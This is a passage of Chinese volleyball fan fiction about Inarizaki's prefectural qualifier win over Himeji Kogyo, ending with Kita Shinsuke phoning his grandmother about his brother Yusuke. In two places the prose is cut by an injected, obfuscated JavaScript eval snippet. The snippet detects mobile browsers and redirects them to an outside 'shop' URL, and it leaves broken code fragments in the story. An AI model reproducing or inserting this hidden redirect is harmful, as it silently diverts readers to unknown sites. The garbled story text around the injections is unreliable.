球以极快的速度飞过来,姬路工业后排的自由人用力向前扑,但是晚了一点点,球只重重的砸在手尖的指甲上。 接到了,但是球带着刁钻的弧线飞向稻荷崎的后半场。 北裕介刚刚才从发球位回到自己的位置,球就迎面的撞了过来。 他呆了一下,但是动作远比思考的速度要快,手腕抬起,球就被稳稳的托向了二传位。 宫侑嘴里的“Chance ball”还没说出来,又硬生生的换成了“Nice”。 “阿兰!” 尾白阿兰在后排助跑,踩着三米线起跳,一记重扣砸向对面,没有让对面队伍找到一点接起的机会。 “Nice ball。” 北裕介满意的退回到发球位,顺便感谢尾白阿兰守住了他的发球轮。 第二个发球依旧强劲,只不过这次被稳稳接住。 伊藤直扣下这个相当到位的传球,同样回敬给对面一个直接得分的重扣。 球落下的地方里北裕介有些距离,他试图向前捞了一下,以失败告终,还差点没稳住重心。 角名伦太郎眼疾手快的拽住他的衣领,另一只手握着手腕把人捞起来。 北裕介借力直起身,整理了一下衣领:“谢了角名。” 角名伦太郎没说话,很随意的摆了一下手。 下一个发球,姬路工业追发尾白阿兰,尾白阿兰相当熟练的给出一个漂亮的一传。 球刚从宫侑的手掌托出去,距离他两步远处,宫治就已经起跳把球扣出去了。 球落地时的声音仿佛在人耳边炸开,响亮的有些骇人。 相当完美的负节奏快攻,甩开了拦网和自由人得分,一球换发。 观众席再次爆发出今天不知道多少次的尖叫,北裕介缩了缩肩膀,突然有点担心那些女孩子的嗓子。 宫侑宫治相当满意的互相击掌庆祝。 “扣的好,阿治!” 宫治沉默了一瞬,真诚的说道:“你的传球也很恶心。” 宫侑把这话当做是夸奖,照单全收。 宫治说完话就退回到了发球位准备发球。 和有自己发球习惯的宫侑,哨声一落就必须发出去的角名伦太郎都不一样,宫治很享受发球的八秒种。 是在球场上独属于他的时间。 在心里默默数着时间,看着对面即使已经第二局,依旧随着时间推移逐渐紧张的对手,宫治轻呼一口气,把球抛向了半空。 球结结实实的砸在对面自由人的手臂上,发出一声让人牙酸的闷声。 宫治毫不意外的回到后排,做好补位准备。 他眯着眼睛看着主攻手的动作,不出意外的话,这球会落在……这里。 宫治半低下重心,球精准的砸在手臂上,而后平直的飞向二传位。 角名伦太郎应声起跳,优越的身体素质给他带来的球场上的优势简直数不胜数,他的身体弯成了一个惊人的弧度,球的角度刁钻,却丝毫没有削减掉一点力道。 球落地后,他波澜不惊的转身,敷衍的回应了一下二传的庆祝动作。 北裕介仔细的看了看他的眼睛,发现不管是失分或得分,角名伦太郎好像总是那副不动声色,气定神闲的样子。 不会因为丢掉分数失落,也不会因为打出漂亮的球而高兴。 但是这种不在意和北信介的淡定又是两种感觉…… 好奇怪的人,北裕介看了看角名伦太郎头上的两个妙脆角,垂下眼睛想道。 宫治瞄准后排二传和主攻的缝隙追发。 姬路工业的二传反应相当快,轻巧的起身躲开,看着主攻手接起这一球。 头顶的球轨迹平稳,没有一点旋转。 他抬起头,看着球和体育馆上方的灯光逐渐重合。 别急、别急、别急,松本弦勉强沉住气,把球传给前排的王牌。 然后就听见了球砸在地上的轰鸣。 松本弦松了口气,强撑着笑笑,去和对方击掌。 “别急,”落在肩膀上的重量很重,很令人安心。 “对面没有领先太多,我们还有机会。” 是啊,松本弦打起精神,突然和对面的银发少年隔网对视。 他知道他,明明是稻荷崎的新人,却和其他人配合的严丝合缝,根本看不出来是才加入这支队伍不久的。 真是让人讨厌的天才啊,和他的队友一样。 松本弦看着对方朝他礼貌的点点头,攥着手心想道。 莫名其妙和对手对视,不得不打招呼然后迅速逃离前排的北裕介满脸心有余悸。 幸好对方做出突然过来和他聊天这种事,果然世界上还是正常人多一点。 像稻荷崎里这种一抓一大把社交恐怖分子的毕竟还是少数嘛。 北裕介淡淡的想到,然后扯了一把路过他的宫侑:“阿侑,对面二传的心态好像不太好了,可以稍微利用一下。” 宫侑诧异又惊奇的挑起眉毛,饶有兴致的点点头。 “裕介!” 北裕介助跑起跳,勾起的手腕送出了一个旋转弧度惊人的球。 旋转很足,但是落点并不算刁钻,属于一个尽力就能够到的距离。 姬路工业的自由人鱼跃接球,弧度诡异的球砸在手腕上,摇摇晃晃的向上飘。 松本弦脸色一变,连忙调整位置准备二传。 但是在一传不到位、匆忙托球的情况下,很显然他给不出来一个完美的二传。 这个传球肉眼可见的低,北裕介和宫治同事起跳,轻轻松松的把这球拦死。 “Nice!” 宫侑依次和队友击掌,顺便瞥了一眼网对面。 几个人围绕着松本弦,人群中间的人明显脸色不好看,微微低着头,听不清在说些什么。 宫侑低笑,没想到北裕介平时浓眉大眼的还能想出针对人的办法,真是看不出来。 浓眉大眼的本人正在和队里的小眼睛副攻打嘴仗。 角名伦太郎的手随意的打在北裕介的肩膀上,嗓子压的很低:“你想的办法?” 北裕介懒得挣开,平淡的回答:“是啊,厉害吧。” 角名伦太郎诚实的回答:“心好脏,你应该去当二传了。” 北裕介预料到他说不出来什么好话,没好气的把人的手臂甩了下去。 角名伦太郎低笑一声:“好了,加我一个好吧?” 北裕介思考了不到一秒,就相当爽快的回答:“好。” 他顺手把宫侑捞过来,几个人围在一起,窃窃私语了几句。 场下,黑须法宗的眉心狠狠跳了一下。 他抬头看了一眼,没看出什么端倪。 应该没什么事吧?他不确定的想道,场上还有裕介呢,多稳重的一个孩子,肯定不会看着阿侑他们胡来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282657|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑须法宗说服了自己,放松下来,靠在椅背上继续看比赛。 角名伦太郎发球发的相当利落,对准了对面二传。 松本弦被迫接了一传,只能把球传给队里的接应。 扣过来的球威力不算大,北裕介故意放软手掌,回头提醒:“One touch。” 这球相当好接,银岛结轻松给出一个完美的一传。 就在这同时,北裕介和角名伦太郎同时助跑起跳。 动作幅度,速度,甚至手臂摆动的弧度都一模一样。 姬路工业的拦网呆滞了一下,然后迅速分散拦网,一左一右确保两边都有人在。 伊藤直跟进着网前的北裕介,眼睛死死盯着他的动作。 只不过两个人都已经在最高点了,对面的人依旧没有什么动作。 他偏头看向另一侧,想看清楚是不是角名伦太郎的后排进攻,却看见了堪称惊悚的一幕。 球才刚刚从宫侑的手掌传出去。 宫治助跑起跳,身前没有拦网和防守,他十分精准的把球打到了松本弦身前的空地上。 是对方一定会去救但一定救不到的距离。 球重重砸在地上,砸的场地两边一片寂静,直到裁判吹哨,示意稻荷崎得分。 “耶,Nice配合!!” 宫侑兴奋的庆祝,顺便拽了一把宫治:“还有阿治,刚刚那球的落点也太脏了。” 宫治谦虚的点点头:“谢谢。” 角名伦太郎走到前排,看着北裕介:“怎么样?” 他们俩其实练习过双快一游动,但是没和宫侑一起练过,更别说放到场上了。 严格意义上来说,这算是第一次配合成功。 北裕介含含糊糊的说道:“马马虎虎吧。” 私下那么会夸人,怎么在比赛里就这么严格。 角名伦太郎腹诽,突然和对面二传对视了一眼。 他顿了顿,突然声音高了半度:“下一球还这么打?” 这种球不可能说打就打吧,北裕介莫名其妙的看了他一眼,在瞬间明白了角名伦太郎的意图。 他垂着眼睛,装作漫不经心的说道:“好啊,不过慢一点也可以,反正他们也跟不上。” 角名伦太郎不经意的抬头,看着松本弦惊讶道:“不好意思,我不知道你在,不过我说的也没错吧?” “毕竟你接球确实挺一般的。” 松本弦的接球不错,但是脾气确实是一般此时更是气的不行,激动的上前一步:“你——” “嘀——” 裁判拿着哨子,严肃的看着两边,平等的给了每个人一次警告。 角名伦太郎、北裕介:…… 北裕介飞速的退后,顺便在心里给松本弦道了个歉: 对不起了同学说话太刻薄了,都是战略需要,我不是故意的,对了还有角名,他也不是故意的…… 黑须法宗麻木的看着赛场上惊天动地的场面,久违的感觉到心累。 看到那个相当成功的双快一游动时,他惊讶的从椅子上站了起来,感觉自己的心跳都快了两拍。 半晌后,他开始安慰自己: 比赛呢,孩子有点自己的想法,练了新东西想用上,不按照战略来很正常,很正常。 就算这种打法难度高。容易受伤也不是什么大事啊,他们又不知道,慢慢教就好了。 刚刚劝好自己,黑须法宗就听见了裁判的警告。 …… 这群小兔崽子给他等比赛结束的。 20.IH预选赛(完) 这下好了,不用等比赛结束了。 因为姬路工业申请暂停了。 搞事的几个人面面相觑,犹犹豫豫的回到了休息区。 黑须法宗看着磨磨蹭蹭的几个人冷笑:“快点,墨迹什么呢?敢打不敢回来?” 北裕介闭了闭眼睛,率先走了回去,收获了宫侑一个敬佩的眼神。 黑须法宗看着他理不直气也壮的样子气揉了揉眉心,他就应该知道,能和角名伦太郎玩的好的人绝对不是什么乖孩子! 不过现在在比赛期间,就算黑须法宗真的有心敲打也不能说的太过分。 影响心情什么的先不说,万一真给这几位主将心态说崩了怎么办? 虽然也不大可能就是了。 几人对视几眼,最后角名伦太郎站出来淡定的说道:“教练,我们那个双快一游动是不是打的还不错?” 我可去你的吧。 黑须法宗气的想踹人,拿起手边的纸巾就砸了过去,被对方轻飘飘的接住放了回来。 被他一打岔,黑须法宗心里的火气莫名消散了很多,他心平气和的说道:“比完赛再和你们算账,接下来好好打,可以针对对面,但是这次暂停估计他们也调整过来了。” 宫侑也正了正脸色,不免有些郁闷:“他们反应的还挺快。” 北裕介在心里叹了口气,不然呢,扣球都要扣人家脸上去了。 这压根不是阴谋,就是明晃晃的阳谋。 黑须法宗看看网对面的队伍,“嗯”了一声算是回答。 “姬路工业的心态一直都很稳,尤其是他们队长,其他没那么稳重的队员也被队长拽回来了。” 话一说出口,黑须法宗就感觉这话形容的有点眼熟。 他看了看一边站着,却一直没说话的北信介沉思片刻,最后拍板决定: 比赛之后这几个小兔崽子就交给信介处理了,信介一定能把他们管的服服帖帖的。 这个决定还在思考战术的几人显然不知情。 宫治无所谓的说:“就算不用什么战术姬路工业也打不赢咱们吧?想那么多干什么。” 宫侑搂着兄弟大笑:“也对,那咱们就放开了打,早点结束早点回家!” 看看,才几句话又兴奋起来了。 黑须法宗无可奈何,最后只能叮嘱道:“注意安全,之前那个不许再打了,难度太大,等之后系统的练习一下再说。” 这其实就是变相的同意了,宫侑笑嘻嘻的回答:“谢谢教练!” 黑须法宗气笑了,恰逢哨声响了,他摆摆手,示意他们赶紧滚回到场上去,别在这碍眼。 暂停结束,姬路工业明显每个人都调整过来了。 宫侑耸耸肩,略显遗憾。 角名伦太郎再次站在发球位上准备,第二声哨响后,球应声过网。 休息过后,松本弦的状态好的离谱,一个隐蔽的二次进攻成功骗过拦网得分。 北裕介在网前呆滞了两秒,郁闷的皱皱眉。 “别在意,运气罢了。” 角名伦太郎突然溜到网前安慰道。 北裕介有气无力的点点头,他竟然把二次这茬忘了。 宫侑也有些惊讶,只不过震惊的是: “我这场比赛竟然没有用二次进攻!” 尾白阿兰的太阳穴狠狠的跳了一下,试图阻止他:“阿侑,二次要看好时机,不要为了回敬就乱来啊。” 刚刚对面那个二次进攻只能说是天时地利人和,北裕介在一旁防着助跑的王牌,后排的他们在卡位防一触,没有人防网前。 “我知道啦,阿兰你好啰嗦。” 宫侑拧了拧眉毛,虽然嘴上这么说着,但是只要不是眼瞎就能看出他根本不是那么想的。 他眼睛亮了一下,把前排的宫治拽了过来。 宫治不假思索的点头:“行。” 尾白阿兰:…… 好吧好吧。 于是下一球,球经过一传,落在了宫治的位置。 一传的弧度很好,宫治助跑起跳。 要一传直接扣球吗? 姬路工业的拦网心里一紧,不假思索的跟着起跳。 球已经落在头顶了,宫治轻笑一声,反手传给了另一侧的宫侑。 宫侑的扣球力道甚至不比一些学校的主攻手小,他抡圆手臂,球重重的砸在了地上。 很乱来的球,也很有稻荷崎的风格。 身后的观众席传来整齐的应援声,北裕介耳朵被这球震的嗡鸣,只听见了宫侑和宫治的名字。 他揉了揉耳朵,真挚的说道:“好配合。” 是真的很好,至少他没见过其他人打过这样的球。 宫侑的得意的说道:“当然了。” 他和阿治可是双胞胎,甚至知道对方心里在想什么的那种。 宫治扭过头,拒绝承认这一点。 这个漂亮的配合把稻荷崎送到了23分,还差两分,这场比赛就可以结束了。 两分。 宫侑舔了舔干涩的嘴唇,眼睛扫了一圈自己场地的队员,等待发球。 下一个发球的是尾白阿兰,追发对面的王牌。 对,谁让他们总是追发自己的。 一传被稳稳接起,二传后球到了进网的位置。 有了上次的教训,稻荷崎的防守很到位,北裕介也暂时放弃了他平时常用的拦网方式,转而仔细看着每个人的动作。 突然,右侧的主攻手手指弯了弯,是他扣球时经常会有的小动作。 北裕介眼神暗了暗,甚至没顾得上去提醒队友,两步上前起跳。 宫治的眉心挑了挑,赶紧跟上补上空缺的拦网。 下一秒,球就重重的砸在了他们的手臂上。 宫治总觉得这个场景似曾相识,他无力的说道:“拦网前要说一声啊。” 对方回给他一个无辜的眼神:“对不起阿治,我有点着急,下次一定会的。” “而且阿治一定会跟上我的对吧?” 宫治:…… 他若无其事的扭过头:“角名发个好球!直接拿下这局!” 角名伦太郎只觉得宫治疯了。 发球稳稳过网,姬路工业每个人的接球都不错,一传依旧稳定。 球传到了副攻手手边,北裕介和宫治同时起跳,双人拦网。 副攻手在北裕介对面扣球,是个漂亮的小斜线。 眼看着球马上就要擦过手臂过网,北裕介几乎是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291174|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下意识的右手往旁边挪了一下。 结果球不偏不倚的撞在了上面。 球在力的作用下反弹了回去,以一个刁钻的弧度压线落地。 很戏剧化的一球,包括只是随手挡了一下的北裕介本人脑海也是一片空白。 只能说幸运之神眷顾了他们吧。 裁判的哨声打破了寂静,属于稻荷崎的分数来到了二十五分,然后电子屏上闪烁出大比分。 2:0,比赛结束了。 宫侑的声音打破了寂静:“愣着干什么?我们赢了,裕介刚刚那球挡的好!” 北裕介反应过来,淡定的点了点头。 然后就猝不及防的被拉进了一群人的怀抱里。 北裕介眼疾手快把试图溜走的角名伦太郎也拽了过来,按住他一起。 角名伦太郎有点无奈,反手扣住北裕介的手,慢悠悠的看过去,却撞进了一双带笑的眼睛里。 北裕介很少笑,平时也没有需要笑得时候。 但是现在,他觉得他应该笑一笑,毕竟他们是冠军嘛。 嗯……虽然只是县内的,但是也无所谓啦。 莫名其妙又被自己逗笑了,北裕介看着角名伦太郎呆滞的眼睛,放轻声音说道: “这次你的手机可不在手边。”没办法拍照了吧。 旁边很吵,北裕介根本没指望角名伦太郎会听见,但是对方却神奇的心领神会了他的话。 角名伦太郎凑近北裕介的耳边说道:“我也可以用眼睛记下来。” 北裕介的心跳快了半拍,随即笑得更灿烂了。 双方鞠躬握手后,各自回到自己的休息区。 “北前辈,我们赢啦!” 北信介周围满是叽叽喳喳的人群,他对每个人都耐心回应:“嗯,我看见了,很厉害。” 不是敷衍,他一直一直都觉得他们很厉害。 热闹过后,他们只需要收拾东西然后各回各家就好了。 作为队长,北信介要做的更多异一点,比如整理记录的数据录像之类的。 他把每一张随手记录的纸张捋的整整齐齐,夹在文件夹里,然后照例拿起电话给奶奶报喜。 “奶奶,我们赢了。” 电话那头是亲切的声音:“我就知道我们信介和裕介都很厉害的。” 北信介低声笑了一下,他可没上场,也没有为这次比赛做什么贡献,当然,也许以后会有的。 他没有反驳老人的话,顺着往下说:“裕介确实很厉害。” 奶奶的声音顿了一下,随即有些怅然:“裕介那孩子……还是什么都没想起来吗?” 北信介的动作停下了,他抚摸着手下的纸张,脑海里的第一个画面竟然不是北裕介前十几年的任何样子,而是他和队友紧紧的抱在一起,大笑着庆祝胜利的模样。 很阳光,很明媚,是他以前从来不会有的样子。 北信介垂着眼睛听见自己说道: “其实,裕介要是想不起来了的话,也挺好的。” 电话传来的声音有些失真,但是能清楚的听见老人的叹息: “是啊,想不起来也挺好的,他以前过的太苦了。” 北信介整理文件的手彻底停下了。